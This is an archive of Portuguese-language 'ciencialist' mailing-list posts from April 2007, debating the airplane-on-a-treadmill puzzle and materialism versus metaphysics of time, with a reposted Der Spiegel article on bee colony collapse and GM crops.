"acredita" que a esteira impede a decolagem, tudo bem, é mais uma
coisa em que 'acredita" e não sou eu (ou qualquer dos muitos
co-listeiros que tentaram) que vai conseguir explicar para você seu erro.

Renato: "Até o momento, apenas o Takata parece que percebeu essa
possibilidade quando afirmou "depende". Mas depois calou-se
obsequiosamente."

Não, Renato, o Takata estava apresentando uma questão totalmente
diferente de sua afirmação, nem de perto poderia ser considerada uma
validação do seu erro. Ele defendia que, em determinadas
circunstâncias, o atrito dos rolamentos podia ser equivalente a
propulsão do avião (jato ou hélices).

Observe que, em uma situação hipotética, onde o atrito era zero, ele
concordava totalmente que o avião decolaria sem problemas E SEM
DEPENDER DE QUE REFERENCIAL SERIA USADO, ESTEIRA OU CHÃO.

Foi o que eu tentei explicar ao Takata, a posição dele, extrema em
relação ao atrito dos rolamentos, estava "confundindo" você, e o
fazendo-o pensar que mais alguém achava que a esteira podia, por seu
movimento "compensatório", impedir a decolagem.

Mais uma vez então, SE houver atrito suficiente, seja nos rolamentos,
seja com uma corda amarrada no rabo do avião, e este for capaz de
compensar a propulsão, o avião não decola. Isso é a posição do Takata.

A sua, errada completamente, é que "depende do referencial", pois a
esteira, apenas por "rolar para tras", poderia compensar o avanço para
frente do avião. Esquecendo que este avança DEVIDO a propulsão e não
as rodas.

Mais uma vez, se você tivesse razão, mesmo com atrito zero nos
rolamentos, o avião NÃO decolaria, pois a esteira estaria
"compensando" o movimento para frente. Mas não está, não pode, não tem
como, etc.

E chega de absurdos. Entendo que a questão foi proposta como uma
"pegadinha" e que boa parte das pessoas chega a conclusão errada,
antes de entender o problema corretamente. Mas tudo tem limite, e
depois de chegar a conclusão errada, a maioria das pessoas consegue
entender o problema corretamente!

Ou está todo mundo errado, inclusive o Takata, ou você está errado e
não entendeu ainda o problema. O que acha mais provável, Renato?

Homero



SUBJECT: Re: [ciencialist] Abrindo a Carta do Materialismo
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/04/2007 11:51

> --- Ao meu ver, os cientistas materialistas são como
> carteiros. Eles levam a verdade na mão, mas como a
> carta está fechada, não sabem o que tem dentro. Se
> pego no pé deles é porque sei que é importante abrir a
> carta. Se eles não abrem, é por medo de ver o que tem
> dentro. Os cientistas materialistas não querem abrir a
> carta com medo que deus esteja dentro.

Eu vejo exatamente o contrário Ferrari. Quem tem medo de "abrir a carta" e
não encontrar deus são os que acreditam nele!

A ciência só tem a ganhar com as descobertas da "verdade", seja ela qual
for... É exatamente isso o que ela busca, doa a quem doer...

> E ai, como é que fica? Fica do jeito que sempre ficou. A realidade
> não vai deixar de ser a realidade. Apenas caem algumas
> máscaras e pronto. Mas a ação humana não é motivada
> pela racionalidade, e sim pelo emocional, o desejo, o
> medo, etc... Os cientistas materialistas tem medo.

Eu não sei de onde você tirou isso...

> ---- A evolução da forma acende um luminoso de néon
> sobre o fenômeno da evolução da forma, mas ela não
> explica porque a forma evolui. Percebe isto?

O que você não consegue entender, é que NÃO PRECISA de "porque"!

Você e outras bilhões de pessoas "entenderam" a teoria da evolução por
seleção natural ao contrário! Creio que seja por indução por causa de
eduação religiosa...
Como eu te disse no e-mail anterior, a camada de ozônio, por exemplo, não
foi colocada lá PARA proteger os seres vivos do planeta, estes existem
nestas formas, sensíveis e desprotegidos de raios UV, porque ela existe! E
não o contrário... Tente entender isso.

> --- Esta questão da evolução da forma só pode ser
> compreendida ao mesmo tempo que se compreenda a
> questão da evolução do tempo.

Obviamente, só existe evolução se existe tempo.

>
> --- Assim é incompleto. Só isto!
>

Na verdade, é você que não consegue enxergar o que algo tão simples como
seleção natural pode produzir durante bilhões de anos... Eu consigo! :)

>
> --- E quem é este selecionador natural da forma?
>

Tudo! Tudo seleciona, mas em graus diferentes...

>
> Jeff >>> Tudo existe com um objetivo.
>

Eu não disse isso! Você editou minha frase, que era: "somos induzidos a
colocar as
coisas numa ordem que dá a impressão de que algo foi colocado alí
propositalmente, que tudo existe com um objetivo... "

> --- SE tudo que acontece tem uma causa, LOGO o ato de
> acontecer deve ter uma causa também. Ou seja, qual é o
> objetivo do "acontecer"?

Nenhum. Tem causas, mas não precisa ter objetivos. Na verdade, "infinitas"
causas, mas em graus diferentes... Com algumas causas "principais"...

> Caos não existe. O que o ser humano chama de caos é
> desconhecimento.

Não é exatamente o desconhecido... Você pode saber como algo funciona mas
não saber o que vai produzir após algum tempo, entende?

>
> Jeff >>> Então a verdade já vem "de fábrica" no nosso
> inconsciente? "Deus" colocou
> alí pra gente procurar?
>
> --- Eis a graça do jogo. Você é obrigado a procurar,
> mas o ato de procurar é o seu prazer. Uma vez dentro
> de um jogo, somos obrigados a jogar, porém o ato de
> jogar é o nosso prazer. Ser obrigado a pensar a
> pergunta é entrar no jogo de procurar a resposta.
>

Assim tem mais graça não é? O mundo não pode ser tão chato! :-)

> --- Respeito sua opinião. Mas não concordo. Não é
> saltos lógicos, é relações analógicas. E não
> desconsidero fatos, apenas não os observo através de
> um paradigma materialista.

Analogias podem ser inventadas, não precisam ser verdadeiras. Você pode
achar que certas coisas tem relação mas, muitas vezes, não tem. Você não
pode criar analogias e usá-las como argumentos lógicos.

[]´,s
Jeff.




SUBJECT: Re: [ciencialist] Re: Balanço do avião
FROM: "Marcelo Cortimiglia" <cortimiglia@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/04/2007 15:58

Jose Renato,

mesmo que a esteira esteja livre, ela simplesmente nao consegue
balancear o empuxo das turbinas ou helices do aviao. O aviao se
desloca para frente, com relacao ao solo e a esteira, e decola. As
rodas giram com o dobro da velocidade do aviao e esteira em relacao ao
solo. Nao importa o referencial, o aviao decola.

Abracos,

Marcelo Cortimiglia


Em 06/04/07, José Renato <jrma@terra.com.br> escreveu:
>
>
>
>
>
>
> Olá, Homero!
>
> Parece-me que vc está bloqueado. Creio que é pelo fato de vc já ter
> "definido" que eu estou errado. A partir dessa "definição" qualquer coisa
> que eu escreva não será considerada em seus raciocínios.
>
> Se for isso, peço sua ajuda. Afaste por instantes essa "definição" e
> considere as informações abaixo. Caso contrário será um monólogo
> inconclusivo. Pausa...
>
> Respire, relaxe e vamos resolver esse desafio:
>
> 1. Quando um avião decola numa pista-esteira e sua velocidade é medida em
> relação ao solo-pista, utilizando aparelhos de navegação tipo GPS, o avião
> voa. Nesse caso, está se considerando o solo "fixo" ou "parado" como
> referência e o que se move é o avião.
>
> 2. Agora vamos medir a velocidade do avião em relação ao piso-esteira, que
> deve se movimentar na mesma velocidade do avião, só que em sentido
> contrário.
> Para melhor entendimento, pense no avião decolando sobre a pista-esteira
> parada, velocidade zero. Acelera as turbinas, solta os freios e inicia a
> decolagem. Após 10 segundos o avião atinge a velocidade de 100 km/h. Lembrar
> que a correia deveria estar também a 100 km por hora, mas como ela não está
> nesse tempo de 10 segundos o avião se deslocou para frente 1000 metros sobre
> a esteira parada e, conseqüentemente, também em relação ao solo-terra e ao
> ar.
> Se a esteira-pista estivesse ligada e rolando em sentido contrário na mesma
> velocidade do avião - conforme o enunciado do problema - após esses 10
> segundos teria se deslocado também 1000 metros para trás, "trazendo" ou
> mantendo o avião ao/no mesmo ponto inicial de decolagem. Nesse caso a
> velocidade do vento nas asas do avião é praticamente zero, insuficiente para
> fazê-lo alçar vôo. É como se ele continuasse "estacionado" na pista-esteira.
>
> Abraços
>
> José Renato
> .................................................
>
> From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, April 05, 2007 3:25 PM
> Subject: [ciencialist] Re: Balanço do avião
>
>
> Olá Renato
>
> Renato: "Vc lembra como eram feitas as filmagens antigamente em que os
> protagonistas ficavam em um carro ou diligência parada, sacolejando, e
> o cenário rodava atrás dando a impressão de que o que se movimentava
> era o carro ou a diligência. "
>
> Está enganado. E está com enormes problemas em entender a questão da
> propulsão. As diligencias usam as rodas, ou melhor, os cavalos e o
> atrito de suas patas na esteira para se mover, por isso podem ficar
> paradas enquanto a esteira rola para tras. Se colocar um "jato" nas
> costas da diligencia, esta sairia andando para frente, não importa o
> quanto a esteira rolasse para tras.
>
> Se entendesse isso, entenderia seu erro recorrente.
>
> Coloque um carro na esteira de testes das montadoras, e este ficará
> parado sobre ela, pois usa as rodas como tração. Coloque um avião, e
> este sairá voando, não importa o que a esteira faça.
>
> A esteira apenas pode compensar a tração das rodas, não a propulsão do
> avião.
>
> Estou com preguiça de continuar a explicar esta questão, Renato. Se
> "acredita" que a esteira impede a decolagem, tudo bem, é mais uma
> coisa em que 'acredita" e não sou eu (ou qualquer dos muitos
> co-listeiros que tentaram) que vai conseguir explicar para você seu erro.
>
> Renato: "Até o momento, apenas o Takata parece que percebeu essa
> possibilidade quando afirmou "depende". Mas depois calou-se
> obsequiosamente."
>
> Não, Renato, o Takata estava apresentando uma questão totalmente
> diferente de sua afirmação, nem de perto poderia ser considerada uma
> validação do seu erro. Ele defendia que, em determinadas
> circunstâncias, o atrito dos rolamentos podia ser equivalente a
> propulsão do avião (jato ou hélices).
>
> Observe que, em uma situação hipotética, onde o atrito era zero, ele
> concordava totalmente que o avião decolaria sem problemas E SEM
> DEPENDER DE QUE REFERENCIAL SERIA USADO, ESTEIRA OU CHÃO.
>
> Foi o que eu tentei explicar ao Takata, a posição dele, extrema em
> relação ao atrito dos rolamentos, estava "confundindo" você, e o
> fazendo-o pensar que mais alguém achava que a esteira podia, por seu
> movimento "compensatório", impedir a decolagem.
>
> Mais uma vez então, SE houver atrito suficiente, seja nos rolamentos,
> seja com uma corda amarrada no rabo do avião, e este for capaz de
> compensar a propulsão, o avião não decola. Isso é a posição do Takata.
>
> A sua, errada completamente, é que "depende do referencial", pois a
> esteira, apenas por "rolar para tras", poderia compensar o avanço para
> frente do avião. Esquecendo que este avança DEVIDO a propulsão e não
> as rodas.
>
> Mais uma vez, se você tivesse razão, mesmo com atrito zero nos
> rolamentos, o avião NÃO decolaria, pois a esteira estaria
> "compensando" o movimento para frente. Mas não está, não pode, não tem
> como, etc.
>
> E chega de absurdos. Entendo que a questão foi proposta como uma
> "pegadinha" e que boa parte das pessoas chega a conclusão errada,
> antes de entender o problema corretamente. Mas tudo tem limite, e
> depois de chegar a conclusão errada, a maioria das pessoas consegue
> entender o problema corretamente!
>
> Ou está todo mundo errado, inclusive o Takata, ou você está errado e
> não entendeu ainda o problema. O que acha mais provável, Renato?
>
> Homero
>
>
>
>
>


SUBJECT: Chega, Renato... - Re: Balanço do avião
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/04/2007 16:59

Ola Renato

Renato: "teria se deslocado também 1000 metros para trás, "trazendo"
ou mantendo o avião ao/no mesmo ponto inicial de decolagem"

Chega, Renato! Pessoas com esse padrao de "fe'", cega e teimosa,
tornam impossivel qualquer discussao!

Todo mundo tentou explicar para voce, a esteira NAO traz, ela nao pode
trazer, ela nao tem como trazer o aviao para tras!!!

A UNICA coisa que ela pode fazer e' girar as rodas do aviao mais
rapido do que girariam se este estivesse decolando de um piso fixo.
So' isso, NADA mais.

Para TRAZER o aviao ela teria de aplicar forca neste, e forca que
compensasse a propulsao, e ela NAO pode.

O Takata apenas tentou demonstrar que em algumas circunstancias os
rolamentos poderiam, no limite, agir dessa forma. Mas voce nao
entende, ao rolar para tras a esteira NAO TRAZ, NAO TEM COMO TRAZER,
NAO PODE TRAZER, o aviao ao ponto de partida.

Ela pode apenas "girar" as rodas mais rapido.

Pense na diligencia (pense, nao doi!), e o cara que a empurra ou os
cavalos que a puxam de FORA da esteira (que e' o mesmo que as helices
e os jatos). A diligencia NAO volta se a esteira e' ligada, ela apenas
tem as rodas girando mais rapido!!!!


Eu desisto. Outros talvez queiram tentar explicar para voce, ms eu
desisto. Se quer "acreditar" em mais alguma coisa, que o aviao nao
decola, e' direito seu, e eu desisto.

Homero




SUBJECT: transgênicos e abelhas.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/04/2007 19:36

Alguém está por dentro deste assunto, vital para a economia nordestina ?

sds.,

silvio



Colapso das colônias:
Será que plantações de transgênicos estão matando as abelhas?

--------------------------------------------------------------------------------

Gunther Latsch



Uma dizimação misteriosa das populações de abelhas preocupa os apicultores alemães, enquanto um fenômeno semelhante nos EUA está assumindo gradualmente proporções catastróficas


Walter Haefeker é um homem que está acostumado a pintar cenários sombrios. Ele faz parte do conselho diretor da Associação Alemã de Apicultores (Dbib) e é vice-presidente da Associação Européia de Apicultores Profissionais. E como reclamar faz parte da atividade do lobista, é praticamente seu dever profissional alertar que "a própria existência da apicultura está em risco".

O problema, disse Haefeker, tem várias causas, uma delas o ácaro Varroa, oriundo da Ásia, e outra a prática disseminada na agricultura de borrifar as flores silvestres com herbicidas e promover a monocultura. Outra possível causa, segundo Haefeker, é o uso crescente e controverso de engenharia genética na agricultura.

Já em 2005, Haefeker encerrou um artigo para o qual contribuiu no jornal "Der Kritischer Agrarbericht" (Relatório Agrícola Crítico) com uma citação de Albert Einstein: "Se a abelha desaparecer da superfície do planeta, então ao homem restariam apenas quatro anos de vida. Com o fim das abelhas, acaba a polinização, acabam as plantas, acabam os animais, acaba o homem".

Eventos misteriosos nos últimos meses repentinamente fizeram a visão apocalíptica de Einstein parecer mais relevante. Por motivos desconhecidos, as populações de abelhas por toda a Alemanha estão desaparecendo - algo que até o momento está prejudicando apenas os apicultores. Mas a situação é diferente nos Estados Unidos, onde as abelhas estão morrendo em números tão dramáticos que as conseqüências econômicas poderão em breve ser calamitosas. Ninguém sabe o que está causando a morte das abelhas, mas alguns especialistas acreditam que o uso em grande escala de plantas geneticamente modificadas nos Estados Unidos poderia ser um fator.

Felix Kriechbaum, um representante da associação regional dos apicultores na Baviera, informou recentemente um declínio de quase 12% na população local de abelhas. Quando as "populações de abelhas desaparecem sem deixar vestígio", disse Kriechbaum, é difícil investigar as causas, porque "a maioria das abelhas não morre na colméia". Há muitas doenças que podem fazer as abelhas perderem seu senso de orientação, de forma que não podem encontrar seu caminho de volta às suas colméias.

Manfred Hederer, o presidente da Associação Alemã de Apicultores, quase que simultaneamente informou uma queda de 25% nas populações de abelhas por toda a Alemanha. Em casos isolados, disse Hederer, declínios de até 80% foram informados. Ele especula que "alguma toxina em particular, algum agente do qual não estamos familiarizados", está matando as abelhas.

Até o momento, os políticos têm demonstrado pouca preocupação diante de tais alertas e da situação difícil dos apicultores. Apesar de estes terem recebido uma chance de expor seu caso -por exemplo, às vésperas da aprovação pelo Gabinete alemão do documento de política de engenharia genética de autoria do ministro da Agricultura, Horst Seehofer, em fevereiro- suas queixas ainda permanecem em grande parte ignoradas.

Mesmo quando os apicultores recorrem à Justiça, como fizeram recentemente em um esforço conjunto com a sucursal alemã da organização de agricultura orgânica Demeter International e outros grupos contrários ao uso de plantações de milho geneticamente modificado, eles só podem sonhar com o tipo de atenção da mídia que grupos ambientalistas como o Greenpeace atraem com seus protestos em locais de teste.

Mas isto poderá mudar em breve. Desde novembro passado, os Estados Unidos estão vendo um declínio das populações de abelhas tão drástico que ofusca todas as ocorrências anteriores de mortalidade em massa. Os apicultores na Costa Leste dos Estados Unidos se queixam de terem perdido mais de 70% de suas colônias desde o final do ano passado, enquanto a Costa Oeste vê um declínio de até 60%.

Em um artigo em sua seção de negócios no final de fevereiro, o "New York Times" calculou os prejuízos que a agricultura americana sofreria em caso de dizimação das abelhas. Especialistas da Universidade de Cornell, no interior de Nova York, estimaram o valor que as abelhas geram -polinizando plantas responsáveis por frutas e legumes, amendoeiras e trevos que alimentam animais- em mais de US$ 14 bilhões.

Os cientistas chamam o fenômeno misterioso de "Colony Collapse Disorder" (CCD, desordem de colapso da colônia) e ele está se transformando rapidamente em uma espécie de catástrofe nacional. Várias universidades e agências do governo formaram um "Grupo de Trabalho para CCD" para procurar as causas da calamidade, mas até o momento continuam de mãos vazias. Mas, como Dennis van Engelsdorp, um apicultor do Departamento de Agricultura da Pensilvânia, eles já estão se referindo ao problema como uma potencial "Aids do setor de apicultura".

Uma coisa é certa: milhões de abelhas simplesmente desapareceram. Na maioria dos casos, tudo o que resta nas colméias são proles condenadas. Mas as abelhas mortas não são encontradas - nem nas colméias e nem em qualquer lugar próximo delas. Diana Cox-Foster, um membro do Grupo de Trabalho para CCD, disse ao "The Independent" que os pesquisadores estão "extremamente alarmados", acrescentando que a crise "tem o potencial de devastar o setor de apicultura americano". É particularmente preocupante, disse ela, o fato da morte das abelhas ser acompanhada por um conjunto de sintomas "que não parece se enquadrar em nada na literatura".

Em muitos casos, os cientistas encontraram evidência de quase todos os vírus de abelha conhecidos nas poucas abelhas sobreviventes encontradas nas colméias, após a maioria ter desaparecido. Algumas apresentavam cinco ou seis infecções ao mesmo tempo e estavam infestadas de fungos - um sinal, disseram especialistas, de que o sistema imunológico dos insetos pode ter entrado em colapso.

Os cientistas também estão surpresos com o fato de abelhas e outros insetos geralmente deixarem as colméias abandonadas intactas. Populações próximas de abelhas ou parasitas normalmente atacariam os depósitos de mel e pólen das colônias que morreram por outros motivos, como um frio excessivo no inverno. "Isto sugere que há algo tóxico na própria colônia que os repele", disse Cox-Foster.

Walter Haefeker, o diretor da associação alemã de apicultura, especula que "além de vários outros fatores", o fato de plantas geneticamente modificadas, resistentes a insetos, atualmente serem usadas em 40% das plantações de milho americanas pode ter um papel. O número é muito menor na Alemanha -apenas 0,06%- e a maioria se encontra nos Estados do leste, de Mecklemburgo-Pomerânia Ocidental e Brandemburgo. Haefeker recentemente enviou a um pesquisador do Grupo de Trabalho para CCD alguns dados de um estudo de abelhas que ele há muito sente que mostra uma possível conexão entre a engenharia genética e a doença nas abelhas.

O estudo em questão é um pequeno projeto de pesquisa realizado na Universidade de Jena, de 2001 a 2004. Os pesquisadores examinaram os efeitos do pólen de uma variante geneticamente modificada de milho, chamada "milho Bt", sobre as abelhas. Um gene de uma bactéria do solo foi inserido no milho, que permitiu à planta produzir um agente que é tóxico a pragas de insetos. O estudo concluiu que não havia evidência de "efeito tóxico do milho Bt em populações saudáveis de abelhas". Mas quando, por acaso, as abelhas usadas nas experiências foram infestadas por um parasita, algo estranho aconteceu. Segundo o estudo da Jena, "um declínio significativamente forte no número de abelhas" ocorreu entre os insetos que se alimentaram de uma ração altamente concentrada de Bt.

Segundo Hans-Hinrich Kaatz, um professor da Universidade de Halle, no oeste da Alemanha, e diretor do estudo, a toxina bacteriana no milho geneticamente modificado pode ter "alterado a superfície dos intestinos das abelhas, o suficiente para enfraquecê-las e permitir a entrada dos parasitas - ou talvez tenha sido o contrário. Nós não sabemos".

É claro, a concentração da toxina era dez vezes superior nas experiências do que no pólen normal do milho Bt. Além disso, a ração das abelhas foi ministrada ao longo de um período relativamente longo de seis semanas. Kaatz preferia ter continuado estudando o fenômeno, mas carecia dos recursos necessários. "Aqueles que têm o dinheiro não estão interessados neste tipo de pesquisa", disse o professor, "e aqueles que estão interessados não tem o dinheiro".

Tradução: George El Khouri Andolfato

Visite o site do Der Spiegel: www.spiegel.de


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: [ciencialist] Abrindo a Carta do Materialismo
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/04/2007 22:33

Ferrari escreveu: [ Eis porque Einstein, pra definir a relação entre matéria
e energia, não se prendeu ao materialismo, mas foi direto na causa
não-material: o tempo. O tempo é o senhor da evolução material. Não é a toa
que tudo na matéria evolui e involui com o tempo. ]
[ ... ]
[ No principio o mapa de Newton era absoluto. Depois de Einstein, e a
relatividade, ele não desapareceu, apenas se tornou parte dentro de um mapa
maior, um mapa que o contém. Ao meu ver, este é o inevitável destino do
materialismo. A quântica, e tudo que vem derivando dai, já sabe que o
materialismo não é o mapa todo, que é uma parte dentro de um mapa maior.
Este mapa maior é o tempo. A quântica chama o
tempo de possibilidade. O próximo upgrade da ciência será a ciência do
tempo. ]
.............................................

Caro, Ferrari! Pincei esses dois parágrafos de sua ampla e esclarecedora
resposta a Jeff, por ser um dos meus temas favoritos: o conceito de tempo.
Entendo que o tempo cronológico não tem existência física. É um índice, uma
relação entre dois movimentos. Assim como a percentagem, onde o denominador
em vez de ser 100 é o movimento da Terra em relação ao Sol. O agente
concreto do tempo é o movimento. Onde não há movimento não há tempo, não é
possível medir o tempo. Porque como já tinha percebido Aristóteles o tempo é
a medida do movimento. É através dos movimentos no espaço que a realidade se
forma e se revela: é o que chamo de espaço-movimento, englobando o
espaço-tempo.

[]s

José Renato
......................................................


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, April 05, 2007 3:04 PM
Subject: [ciencialist] Abrindo a Carta do Materialismo


> Olá Jeff!
>
> Olá Lista! Olá Homero! (Homero! vc aqui? como será que
> eu advinhei? eu sei. vc sabe?)
>
> Jeff >>> Mas eu não quero ter vacas e nem porcos no
> meu sítio! Não quero viver dele... Eu gostaria de ter
> um sítio com uma parte de mata nativa, com um riacho,
> gostaria de fazer uma pequena represa para criar umas
> carpas, uns marrecos, umas tartarugas... gostaria de
> fazer um jardim botânico com espécies exóticas, um
> pomar e construir uma boa casa no meio. É isso :-)
> Nada de plantações ou criações comerciais... Nada de
> estresse... :-)
>
> --- Criação e plantação dá trabalho de qualquer jeito,
> mesmo que pouca, tem que cuidar. Quanto ao estresse
> está mais ligado ao temperamento da pessoa do que ao
> trabalho. Se a pessoa gosta da natureza mais bruta, e
> do trabalho braçal, a rotina do sítio passa a ser
> terapêutica.
>
> Bom, voltando ao tópico...
>
> Jeff >>> Ninguém precisa de semântica pra existir,
> mas para se comunicar sim! :-)
>
> --- É ai que começa a confusão. Por isto que aconselho
> a não se prender na semântica. Se uma pessoa chama
> deus de "mandioca" e outro de "aipim", que diferença
> faz? É impossível controlar a semântica que os outros
> usam, contudo, a gente pode manter a cabeça aberta e
> se tornar versátil em decodificar a semântica dos
> outros pra nossa semântica particular. Quem faz isto
> vira poliglota semântico e consegue conversar com
> qualquer um.
>
> --- Eu poderia usar aqui a semântica materialista.
> (rs).... Não conta isto pra ninguém. Eu conheço a
> semântica materialista. Não é possível fazer analogias
> sem conhecer os dois universos que você pretende
> relacionar. Numa vez anterior que estive aqui na
> c-list, me empenhei primeiro em compreender a
> semântica materialista. Na época, tinha um listeiro
> muito inteligente e muito voluntarioso aqui, se
> chamava "Sergio Taborda". Enchi ele de perguntas sobre
> "e=mc2". Ficou claro pra mim a semântica materialista.
> Me familiarizei com ela. Só não a uso atualmente
> porque meu objetivo atual não é concordar com os
> materialistas, mas sim o oposto.
>
> --- Ao meu ver, os cientistas materialistas são como
> carteiros. Eles levam a verdade na mão, mas como a
> carta está fechada, não sabem o que tem dentro. Se
> pego no pé deles é porque sei que é importante abrir a
> carta. Se eles não abrem, é por medo de ver o que tem
> dentro. Os cientistas materialistas não querem abrir a
> carta com medo que deus esteja dentro. E ai, como é
> que fica? Fica do jeito que sempre ficou. A realidade
> não vai deixar de ser a realidade. Apenas caem algumas
> máscaras e pronto. Mas a ação humana não é motivada
> pela racionalidade, e sim pelo emocional, o desejo, o
> medo, etc... Os cientistas materialistas tem medo.
>
> --- Esta história de carteiro e medo me fez lembrar
> uma musica do Roberto Carlos, acho que se chama "o
> carteiro". Conhece? Resumidamente a história da musica
> é assim: um cara recebe uma carta da sua amada, mas
> como ele não sabe se o que tem ali é uma declaração de
> amor ou uma carta de despedida, o que ele faz? Ele não
> abre a carta! Ele guarda a carta fechada. Assim são os
> cientistas materialistas. Eles não querem abrir a
> carta. A carta é a matéria, a energia, o tempo. E como
> faz para abrir? Por que passa ano, entra ano e ninguém
> consegue abrir? Porque primeiro é preciso abrir a si
> mesmo: o ser humano. Primeiro é preciso compreender o
> processo humano de decodificação da realidade, para
> depois compreender o que é fruto deste processo: o
> tempo.
>
> --- Procure escutar esta musica, o carteiro, ela é uma
> lição sobre o comportamento humano.
>
> Jeff >>> Olha, temos uma teoria satisfatória, que é a
> *evolução das espécies por
> seleção natural*, o que causou, pelas diferenças dos
> ambientes (sempre em transformação), todas as espécies
> que temos hoje, inclusive nós: animais de
> savana. Eis o que somos: um dos produtos de um sistema
> caótico (bilhões de anos de seleção natural sem rumo
> num planeta)
>
> --- Satisfatória pra que? Pra apontar um fato.
> Evolução não é teoria, é fato visível, qualquer um
> pode ver. Vou fazer uma troca semântica aqui. Uma vez
> que "espécies" está ligada a categoria, vou chamar
> "espécie" de "forma" e o nome da teoria vai ficar
> "evolução da forma", ok?
>
> --- Note uma coisa muito importante...
> importantíssima:
>
> ---- A evolução da forma acende um luminoso de néon
> sobre o fenômeno da evolução da forma, mas ela não
> explica porque a forma evolui. Percebe isto?
>
> --- Esta questão da evolução da forma só pode ser
> compreendida ao mesmo tempo que se compreenda a
> questão da evolução do tempo. Porém, a questão da
> evolução do tempo é o oposto da questão materialista.
> Eis porque a evolução nada explica, apenas acende um
> luminoso. Eis porque Einstein, pra definir a relação
> entre matéria e energia, não se prendeu ao
> materialismo, mas foi direto na causa não-material: o
> tempo. O tempo é o senhor da evolução material. Não é
> a toa que tudo na matéria evolui e involui com o
> tempo.
>
> Jeff >>> Eu não sei se você não consegue entender que
> não precisa mais nada além
> disso ou não quer aceitar porque acha que assim "não
> tem graça".
>
> --- Assim é incompleto. Só isto! Veja, o mapa da
> relatividade não mandou o mapa de Newton pras cucuia
> (conhece este termo, significa algo como: pro lixo). O
> mapa da relatividade re-posicionou o mapa de Newton
> dentro dele. No principio o mapa de Newton era
> absoluto. Depois de Einstein, e a relatividade, ele
> não desapareceu, apenas se tornou parte dentro de um
> mapa maior, um mapa que o contém. Ao meu ver, este é o
> inevitável destino do materialismo. A quântica, e tudo
> que vem derivando dai, já sabe que o materialismo não
> é o mapa todo, que é uma parte dentro de um mapa
> maior. Este mapa maior é o tempo. A quântica chama o
> tempo de possibilidade. O próximo upgrade da ciência
> será a ciência do tempo. Mas para tanto precisa
> primeiro abrir a cabeça dos cientistas que são os
> responsáveis por tirar o conhecimento da cabeça de
> deus e traze-los a cabeça dos seres humanos. E se não
> for possível abrir a cabeça dos velhos cientista, pelo
> menos, não deixar que estes fechem a cabeça dos novos.
>
> Jeff >>> Entenda que não precisa existir um "controle
> central", como um Deus... tudo parece controlado
> porque tudo é selecionado naturalmente, entende?
>
> --- E quem é este selecionador natural da forma? É o
> tempo. E o que é o tempo? Eis a questão, não é? Pra
> entender o tempo tem que entender a si mesmo, uma
> coisa esta ligada a outra.
>
> Jeff >>> Não é a camada de ozônio que existe "para"
> nos proteger, nós é que existimos desta forma porque
> ela existe, endente?
>
> --- Entendo. Claro que entendo. Apenas não concordo.
> Eu já disse ao Homero, eu entendo os materialistas.
> São os materialistas que não me entendem. Nem querem
> entender.
>
> Jeff >>> Culturalmente somos induzidos a colocar as
> coisas numa ordem que dá a impressão de que algo foi
> colocado ali propositalmente, que tudo existe com um
> objetivo.
>
> --- Não é cultural não. É um fenômeno espontâneo e
> inevitável do ato de pensar. O cérebro está sempre
> pensando assim: Se isto, logo aquilo. É inevitável. E
> o segredo, como sempre está ai: "no inevitável".
> Porque somos obrigados a pensar? Percebe isto? Pensar
> é uma obrigação, não é uma opção, é uma obrigação. E é
> uma obrigação que nos leva sempre a procurar a causa:
> se isto, logo aquilo. Assim, procurar a causa não é
> uma opção, é uma obrigação da qual não escapamos
> nenhum instante se quer. Por exemplo, você acorda
> procura os sapatos e não encontra, daí pensa: "se meus
> sapatos não estão aqui, logo alguém pegou". Você está
> procurando a causa. Sempre estamos procurando as
> causas, menores ou maiores. Como você vai dizer
> abaixo, vem de fabrica. Einstein, por exemplo, pensou:
> "se a observação muda o observado, logo existe ai uma
> relação". Eis a relatividade. Einstein não fez isto
> porque ele quis, ele foi obrigado a fazer isto, foi
> obrigado pelo inevitável ato de pensar. Uma vez que
> você observa um fato, você cria um SE (se meus sapatos
> sumiram). Uma vez que você cria um SE, o LOGO é
> inevitável (logo alguém pegou meus sapatos). Você pode
> se equivocar no seu LOGO, mas que ele é inevitável,
>ele é. Sempre penso, logo, é inevitável. Descartes
> devia ter "logado" isto também, seria útil.
>
> Jeff >>> Tudo existe com um objetivo.
>
> --- Suponho que com a palavra "objetivo" você esteja
> querendo dizer "finalidade". Ou seja, tudo existe com
> uma finalidade. Porém, a palavra "finalidade" ainda
> não ajuda a entender a questão, vamos troca-la por
> "intenção". Vai ficar assim: tudo existe com uma
> intenção. Então, aplicando o formato "se isto, logo
> aquilo", chegamos a seguinte frase: SE tudo existe,
> LOGO é conseqüência de uma intenção. Percebe que a
> pergunta e a resposta são inevitáveis? SE tudo existe.
> SE eu existo. Por existirmos, estamos constantemente
> criando este pensamento SE. Por conseqüência surge um
> LOGO. SE tudo existe, LOGO que intenção é esta?
>
> --- A vida humana é correr atrás da resposta deste SE
> eu existo. Não temos a opção de "não-correr" atrás de
> um LOGO, somos obrigados a reconhecer nossa existência
> e isto nos obriga a correr atrás de um LOGO. Isto é
> básico em todo ser humano. Só divergimos na semântica
> da resposta. Na semântica católica, por exemplo,
> intenção = vontade de deus. Na semântica materialista,
> intenção = caos. Na semântica quântica, intenção =
> energia. Na semântica filosófica, intenção = ser. Na
> semântica do ferrari, intenção = força que nunca seca.
>
>
> --- SE tudo que acontece tem uma causa, LOGO o ato de
> acontecer deve ter uma causa também. Ou seja, qual é o
> objetivo do "acontecer"? Qual é a intenção da criação?
> O pensamento está condenado a buscar uma resposta pra
> isto, ele não tem opção. Porém, só o ser que cria o
> "acontecer" pode saber a resposta "objetivamente".
> Pois quem tem a intenção original é ele. Cruel este
> ser, não?
>
> --- É por isto que para nós, o objetivo da existência
> é subjetivo. Todo objetivo original só pertence ao
> criador do objeto. Pois é dele a intenção original.
